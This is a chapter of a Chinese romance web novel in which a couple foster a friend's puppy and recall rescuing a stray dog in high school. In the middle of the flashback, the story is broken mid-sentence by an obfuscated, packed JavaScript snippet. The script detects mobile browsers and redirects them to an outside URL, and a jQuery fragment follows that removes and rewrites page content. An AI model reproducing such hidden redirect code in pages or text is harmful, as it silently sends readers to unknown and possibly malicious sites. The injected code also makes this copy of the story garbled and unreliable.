9. 小眠同学

作品:《亲爱的小眠同学

    Chapter9


    「2024年10月27日多云


    亲爱的小眠同学:


    一闪一闪亮晶晶,满天都是小星星,挂在天上放光明,好像许多小眼睛。


    一闪一闪亮晶晶,满天都是小星星。


    晚安啦。


    ——JY」


    /


    ——“我想,你陪我去的话,我应该会喜欢。”


    他面上的表情虽然依旧保持着平静,可持续攀上红色的耳尖出卖了他在说刚刚那些话时的紧张。


    “好呀,那就这么说定了哦,”时衿眠隔着屏幕和他拉钩,“我回来的那天,不管有没有下雨,你都要出来接我,而且不能像第一次见面那样摆着张臭脸。”


    他似乎分别回忆了下她说的第一次见面和摆着张臭脸,也能是在神游。


    手上转着的中性笔欻一下转飞了出去。


    时衿眠全都看在眼里,但她不说。


    因为只要说了,他就会找理由开脱,然后迅速把屏幕切黑,所以她才不要,她还想多看看他呢,看到手机流量告罄。


    十天后,在她到家那天,天空像是想要验证他们俩之间的情谊似的,当真下起了雨,但考题并没有一下上难度,而是从最基础的毛毛细雨开始。


    时衿眠在车子刚拐过弯时,就看到了小区门口站着的熟悉身影,她赶紧让妈妈先停车,毫不拖泥带水地开门,小跑过去跳起,从背后熊抱住了他。


    时女士落下车窗,看着小区门口抱在一块儿的两个人,笑着感叹了声,两个人的感情真好。


    不过这句话只有他听到了,而时衿眠的耳边全是砰砰砰的心跳声,不知道是她的还是他的。


    时衿眠搂紧他的脖子:“你会不会嫌我太重了?抱着喘?”


    “没有啊,你又不重。”他松了只手颠了下。


    这句是实话,她确实不重,而且很难吃胖,一米六的身高,体重却只有八十来斤。


    夏天穿着短袖,他有时候甚至不敢太用力碰她。


    被松了力,没了平衡,时衿眠眼觉着就要掉下去,吓的她赶紧把他脖子勒得更紧,双腿顺势夹在了他腰的两侧。


    “……”


    “你这样我真的要喘不上气了。”他险些趔趄,失笑。


    “哦哦哦,那我松开点。”


    他稳稳托住了她,往小区里走。


    时衿眠把下巴搁在他的肩膀上,看到了他脸上浅青色的小胡茬,没忍住用指尖刮了刮。


    嘿,毛茸茸的!


    一路背到花坛旁的石墩子边,他才把时衿眠放下,别开头,拽着她的衣袖口走在前面。


    时衿眠奇怪的加快脚步,想要并排走,却总是每一次都被他反超过去:“欸,你干嘛走这么快?”


    他微红着脸,答非所问:“回家了。”


    ……


    桌面上的手机屏幕上弹出了江予新发来的消息。


    【江予:回家了^V^】


    【江予:为了庆祝明天是周末,我买了火锅食材,今晚吃鸳鸯锅。】


    【江予:哦对了,还有烧烤和果汁小甜水。】


    【时衿眠:好耶vv】


    时衿眠会心一笑,看向窗外,雨渐转停,天边出现了浓烈的晚霞。


    她走过去,打开阳台门,正巧看见了两只手拎得满当当的江予,从楼下小跑而过。


    亦如他之前每一次见到她,都会加快脚步小跑上前。


    /


    转眼到了月末。


    周五下午,时衿眠从书店回来,刚出电梯她就看到江予站在家门口,他的对面还站着一位面生的男人,两人似乎在开着玩笑交谈。


    时衿眠好奇之余,福至心灵般往右侧挪了两步,悄悄蹲下,就看见了男人脚边的牵引着一只全身雪白的圆滚滚立耳小狗。


    小家伙的毛绒脑袋一歪,正好也看向她,扑哧扑哧地伸吐着舌头,低声呼噜。


    “汪!”


    小狗忽地叫出了声,四条小短腿原地迈步。


    时衿眠沉浸在它的萌态中,没做好准备,吓了一激灵。


    余光里,她看见江予的身影在向她靠近,再一抬头,正对上他缱绻的笑眼。


    时衿眠飞快站起,看了眼小狗,又看了眼他,最后还是将视线锁定在了小狗身上。


    “朋友家的狗,”江予说,“昨天我听说他要出差些日子,想找个地方寄养。”


    “前几天看你晚上喜欢在小区楼下和小狗玩儿,就想着可以先带过来给你看看。”


    时衿眠惊喜地扬起眉梢。


    她走近,笑着朝男人点点头,打了声招呼。


    “你好,谢知酉。”他也笑着打招呼。


    谢……知酉?


    时衿眠不认识这个人,却莫名觉得这个名字很熟悉。


    见时衿眠刚舒展开的眉毛又拧了起来,谢知酉适时提醒:“我们高中的时候是同一所高中,你是我的学姐。”


    他顿了下,笑:“不过也已经过去快十年了,我们就当重新认识一下。”


    时衿眠恍悟。


    她说怎么总感觉有似曾相识的感觉,确实在高中的时候听身边的同学提到过这个名字,他们当年高三快高考的时候,也是谢知酉代表学弟学妹们在台上做的演讲。


    快十年了啊。


    只有当从别人口中听到这个数字,时衿眠才真正有了时间易逝的实感。


    这些天她一直在看他高中写的信,也就慢慢回忆起了那个时候发生过的寻常或是不寻常的事,却只觉得就是在不久前发生过的一样。


    “没忘记,我记得你。”时衿眠回道。


    “那是最好了。”谢知酉说。


    “它叫布丁,小公主,很听话的,不咬人,”他蹲下,把小狗抱起来,“西瓜地。”


    ‘西瓜地’三个字没难住连网的时衿眠,反倒是江予‘啊’了声。


    时衿眠笑不可抑,伸手试探性地摸了摸布丁的头顶,手感好到不行。


    “几个月大了呀?”她问。


    “五个多月。”谢知酉回。


    时衿眠蠢蠢欲动的双手被谢知酉看在眼里,他直接把小狗抱给了她:“我和我老婆都要出差,大概是下个月月中或者中下旬左右回来,所以——”


    “我可以!”


    小家伙一点儿都不认生,在时衿眠的脸上舔了一口作为标记,她被弄得痒乎乎的,直接被俘虏:“我会好好养的!”


    谢知酉像是完成了件大事,舒心地舒了口气:“那……那我去楼下的车里把它的生活用品拿上来?”


    “嗯嗯嗯,我和你一起去吧。”时衿眠抱着小狗转身就要往电梯间走。


    “不用的学姐,我一个人下去就可以。”


    “没事,一起,一起。”


    江予像一团被遗忘而冷却下来的空气,幽怨的背贴着墙壁,看着眼前两个刚刚相认的人客气往来。


    他站起,连人带狗地捞过时衿眠,手指勾过她耳侧微乱的发丝:“你是不是忘记我在这儿了?”


    时衿眠把小狗抱高高,往江予的脖子上蹭,笑嘻嘻道:“哦,对哦,你还在这儿。”


    “那要不——”她指挥,“麻烦你下去把学弟的东西直接全都拿上来吧?我就先进去了,去端两杯柠檬茶给你们。”


    “……”


    生活不易,江某卖力。


    /


    除了时衿眠备忘录里记下来的那份注意事项和狗粮零食用量,江予还额外又录了份录音,防止当时打字太快给记错了。


    有了小狗布丁以后,江予每晚回到家,就能看到时衿眠站在餐桌前弄狗饭,干粮湿粮混合称重配比。


    而布丁乖乖地蹲在她的脚边,摇摇尾巴,乌黑的眼睛里全是对食物的渴望,实在急了扒拉着她的裤脚,嘤嘤啊啊。


    时衿眠则会装做找不到小狗,端着狗饭碗,夸张的四处张望。


    “布丁——布丁——布丁~”


    “布丁在哪里呀?布丁过来吃饭啦!”


    “汪!汪!汪!汪汪汪汪!”(饭!饭!饭!我要吃饭!)


    布丁围在时衿眠的脚边打圈转,有时甚至在她停下脚步时,布丁会跑到她前面开始加速陀螺式自转,转的时衿眠都怕它晕了。


    她粲然一笑,蹲下来,把狗饭碗放在固定的位置,看着它吃完后,再拿湿巾给它擦嘴。


    布丁会定点上厕所,会无聊了自己玩玩具,玩累了就去窝里睡觉,会在时衿眠坐在沙发上画稿或是看信时,自己跑过来走上小狗楼梯,蜷起身子窝在她身边,哼哼唧唧求摸摸。


    晚上睡觉的时候,布丁就咬着自己的小狗窝进到他们的卧室,拖到角落的位置放下,刨刨两下,然后侧躺秒入睡。


    “你不觉得就很像养了一个小孩吗?”时衿眠悄悄关掉了盏顶灯,看向角落,“而且还是那种超级乖,超级省心的那种。”


    “我都怕我到时候都不舍得还给学弟了。”


    江予看她满眼溢出来的喜欢,再次问:“那我们去买一只?西瓜地?”


    得到的却是和之前一样的回答。


    时衿眠摇摇头:“说不还了是我开玩笑的,就这样能让我养一段时间,我已经很知足了,久了我可能真照顾不好它们。”


    江予点点头应下,像是忽地想到了什么,他沉声笑道:“我还记得你以前高一的时候,和你的前桌偷偷在学校的操场灌木丛后边养了一只狗。”


    “欸?”


    时衿眠双手叠放好,瞬间坐直,转头:“你怎么知道?我记得我当时没和你说过啊,初迩也说没有和别人说过。”


    毕竟当时要是被老师们抓到,可能会扣学分,或是警告处分的,所以她们干脆任何人都不说,就连最最最亲近的人也都缄口。


    “其实,不止我知道,”既然说起了这件事,江予干脆就将知道的都告诉了时衿眠,“当时体育器材管理的大叔,保安,还有段长汪老师当时都知道。”


    “有一天体育课,听到你和你前桌在灌木丛后的几声惊呼,说小狗突然愿意吃饭了的那次,实际上是前一晚汪老师带着小狗去了兽医站。”


    那是条后来查出得了冠状病毒的串串小狗,在时衿眠和倪初迩发现的时候,特别小一只,躺在她们去买奶茶途径的草丛边。


    买完奶茶后快到晚自修时间,她们又不忍心丢下不管,于是问了周边一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008080|178386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    圈的店,但没有人愿意收留,她们就只能找店里要了硬纸板箱和多余的布料垫上,把小狗放进去后,又买了些火腿肠和小米粥。


    不可能带进教室,也不可能带回家,想到操场后有块监控盲区,她们一顿手忙脚乱,把火腿肠掰小块,放在小米粥边的一次性小碗里,又在纸箱上面盖了件旧衣服。


    回到教室整整迟到了十来分钟,老班看她们气喘吁吁,校服上又沾了好些泥渍,以为是她们不小心摔了跤,所以来得迟了些,便没多说什么,只是让她们快点到位置上。


    时衿眠刚一坐下,眼前就出现了一包湿巾。


    她笑着说了声谢谢,便钻到了试卷堆里。


    她没主动说,他自然也没有多过问。


    这是他们两人之间的约定俗成的小事。


    晚自修下课后,倪初迩拉着还在写最后一道大题的时衿眠冲出了教室,来到了他们的“秘密基地”。


    好消息是,小狗会朝她们小声‘wer~wer’叫了。


    坏消息是,小狗没有吃一点东西,有气无力很是虚弱。


    没办法,她们只能拿起食物,强行喂了一点点,想等周五放学的时候带小狗去医院。


    晚上八点多、九点的操场偏僻处只有微弱的路灯照亮,也很少有人会经过这里。


    夜晚微凉,风吹起,草木窸窣作响。


    时衿眠以为有人来了,打掩护的同时猛地站起来,转过身。


    还好,虚惊一场。


    一连几天后,到了周四体育课,倪初迩先偷偷溜出队伍,有了消息后,迅速返回找到焦急等待的时衿眠。


    倪初迩开心激动到似乎刚才并没有才跑完八百米:“小狗活蹦乱跳啦啦啦!”


    紧接着,开心传递,时衿眠也小声雀跃,跟着开溜。


    一直到打响下课铃,要最后点名签退时,她们才依依不舍地归队,在几乎所有人都捶腿喊累的动作里,唯有这俩姑娘笑嘻嘻傻乐。


    后来,她们如期在周五带去了宠物医院,医生知道她们是救助流浪狗,减免了很多的费用,又给免费开了几个常用药,让她们根据情况进行喂药。


    她们就这么悄咪咪地养了几个月,轮流喂食。


    可等到高二开学初的时候,原先在那个纸箱里还显小的小狗,一下翻倍的成长,全变了模样。


    也是在那之后,她们经常就找不到这只小狗,时间久了,她们的生活也就又回归到了最初的样子,一段小插曲永远只能成为了藏在她们记忆里的小插曲。


    “可能后来跑到哪里去当小狗队长了吧,”时衿眠遗憾,“当时还没取名字呢,一直叫小花来着。”


    “现在这样算,那只小狗也该十多岁了,那好像都不能叫小狗了,都快是老年犬了。”


    时衿眠很轻很轻地笑了声,却意外注意到了身边人的沉默。


    她抬起胳膊碰了碰江予,江予才像是从恍惚中清醒过来。


    “怎么了?是困了吗?”时衿眠问。


    “没呢,”江予笑,“也是回到了那段记忆中。”


    那几段和你有关的记忆中。


    时衿眠好奇:“那你当时明明看见我了,怎么不和我说呀?”


    “我猜,你们应该也不想被人发现,”江予说完,顿了顿,突然有些语无伦次地解释,“不过汪老师他们不是我说的啊,他也是有天正好闲逛,看到我站在太阳下莫名其妙的一动不动,才走过来拍我肩膀,我那时也吓了一跳。”


    “我知道不会是你。”她笑说。


    时衿眠能想象出那个的画面,干脆伸手啪一下搭在他的肩膀上,清了清喉咙,压低声线模仿:“江同学,大中午的,不回教室午休,在看什么呢?”


    江予一愣,嘴角噙着分明的笑意,转眸,目光温柔地流连在时衿眠的脸上,抬手揉乱她后脑勺的头发。


    时衿眠最受不了他这样的眼神。脸颊很烫,她故意躲过他在她脑后的手,随手拿起一个抱枕,就往他脸上怼。


    嬉闹声逐渐变大,睡着了的布丁被吵醒,它在窝里蒙圈了几秒后才站起,舔舔鼻子,晃着脑袋打了个长长的哈欠,后腿下压舒展,最后又是前爪俯身向下拉伸。


    “汪!”


    时衿眠打闹的手顿住,顺着声音探过身,看见两只前爪趴在床边的布丁,尾巴欢快的绕圈摇摆,小跳着想要上床。


    江予也看过来,转身摸了摸布丁的脑袋,小家伙更加撒娇的嘤嘤了几声。


    时衿眠忍俊不禁:“看吧,都吵到孩子睡觉了。”


    江予表示赞同,下床,抱婴儿似地抱起小狗走着,慢悠悠地哼唱睡眠小曲,慢动作般蹲下。


    他将小狗重新放回了窝里,拿了小毯子盖上,安抚道:“安心睡吧。”


    说完,江予又扭头望向侧卧在床上,津津有味看戏的时衿眠,打口型道——快睡!


    时衿眠故意摇头晃脑,脸上写着‘就不’两个大字。


    下一秒。


    她忽然乐了,轻声提议道:“那你要不也唱首歌哄哄我?”


    唱首摇篮曲哄哄。


    江予的肩膀也随着低笑轻颤了两下:“行,等会儿就来哄哄另一个小孩。”